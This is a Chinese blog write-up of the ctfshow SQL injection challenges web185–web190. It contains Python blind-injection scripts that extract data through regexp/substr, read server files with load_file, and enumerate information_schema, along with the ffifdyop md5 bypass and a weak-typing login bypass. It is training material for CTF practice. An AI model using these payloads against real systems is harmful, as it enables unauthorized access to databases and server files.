• ctfshow web入门 SQl注入 web185--web190


    web185

    这道题还有另外一个脚本就是用concat的拼接达到有数字的目的

    concat(true+true) == 2 concat(true) == 1
    concat(true, true)== 11
    然后上脚本(Y4tacker这个师傅的)

    # @Author:Y4tacker
    import requests
     
    url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"
     
    flag = 'flag{'
     
     
    def createNum(n):
        num = 'true'
        if n == 1:
            return 'true'
        else:
            for i in range(n - 1):
                num += "+true"
        return num
     
     
    for i in range(45):
        if i <= 5:
            continue
        for j in range(127):
            data = {
                "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
            }
            r = requests.post(url, data=data)
            if r.text.find("$user_count = 43;") > 0:
                if chr(j) != ".":
                    flag += chr(j)
     
                    print(flag.lower())
                    if chr(j) == "}":
                        exit(0)
                    break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    在这里插入图片描述

    8-4-4-4-12自己把flag写出来

    web186

    与上题相同

    web187

    $username = $_POST['username'];
        $password = md5($_POST['password'],true);
    
        //只有admin可以获得flag
        if($username!='admin'){
            $ret['msg']='用户名不存在';
            die(json_encode($ret));
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    这道题密码被MD5 加密,而且第二个参数是true
    去查了一下ffifdyop类似与一个万能密码就可以绕过
    在这里插入图片描述
    登录成功但是没有回显
    抓包
    在这里插入图片描述

    web188

    在这里插入图片描述正则绕过上面的东西并且password只能是数字而且是整数
    SQl弱类型隐式转换

    0==admin
    0==password,就可以直接绕过了
    
    • 1
    • 2

    在这里插入图片描述

    web189

    flag在api/index.php文件中
    这是题目的提示

     if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
      }
    
    • 1
    • 2
    • 3
    • 4

    过滤了这些东西
    load_file,判断有回显的地方

    查询失败表示没有用户,username错误
    密码错误就说明有回显
    结果就是username=0是有回显
    
    • 1
    • 2
    • 3

    用脚本进行布尔盲注

    import requests
    import time
    
    url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
    flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
    
    flag = ""
    #这个位置,是群主耗费很长时间跑出来的位置~
    for i in range(257,257+60):
    	for x in flagstr:
    		data={
    		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
    		"password":"0"
    		}
    		print(data)
    		response = requests.post(url,data=data)
    		time.sleep(0.3)
    		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
    		if response.text.find("8d25")>0:
    			print("++++++++++++++++++ {} is right".format(x))
    			flag+=x
    			break
    		else:
    			continue
    	print(flag)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    就是跑的有点慢
    在这里插入图片描述username没有用引号所以还可以用if或者case

    # @Author:Kradress
    from operator import concat
    import requests
    import string
    
    url = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/'
    uuid = string.digits+string.ascii_lowercase+"-}"
    passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
    flag = 'ctfshow{'
    
    for i in range(40):
        for char in uuid:
            print(char)
            data = {
                'username' : passwd + f"{char}'),0,1)",
                'password' : 0
            }
            res = requests.post(url, data=data)
            if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                passwd += char
                print(passwd)
                break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    这个脚本快的不行

    web190

    在这里插入图片描述username带引号了,但是密码的返回还是一样,先找回显
    在这里插入图片描述

    import requests
    import sys
    import time
    
    url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
    flag = ""
    for i in range(1,60):
        max = 127
        min = 32
        while 1:
            mid = (max+min)>>1
            if(min == mid):
                flag += chr(mid)
                print(flag)
                break
            #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
            #ctfshow_web
            #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
            #ctfshow_fl0g
            #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
            #id,f1ag
            payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
    
            data = {
                "username":payload,
                "password":0,
            }
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                max = mid
            else:
                min = mid 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
  • 相关阅读:
    两个妙招教你怎么拍照识别植物,增长见识
    redis为什么用跳表而不用平衡树
    Mysql 讲解所有的约束类型
    抓住Linux黄金60秒
    【题解】PAT 1018 Public Bike Management
    布隆过滤器和布谷鸟过滤器
    Linux 应用程序日志查看命令
    yolov5使用GPU
    PMP_模考三 180题(附答案及解析)
    函数基础
  • 原文地址:https://blog.csdn.net/2301_81040377/article/details/138058041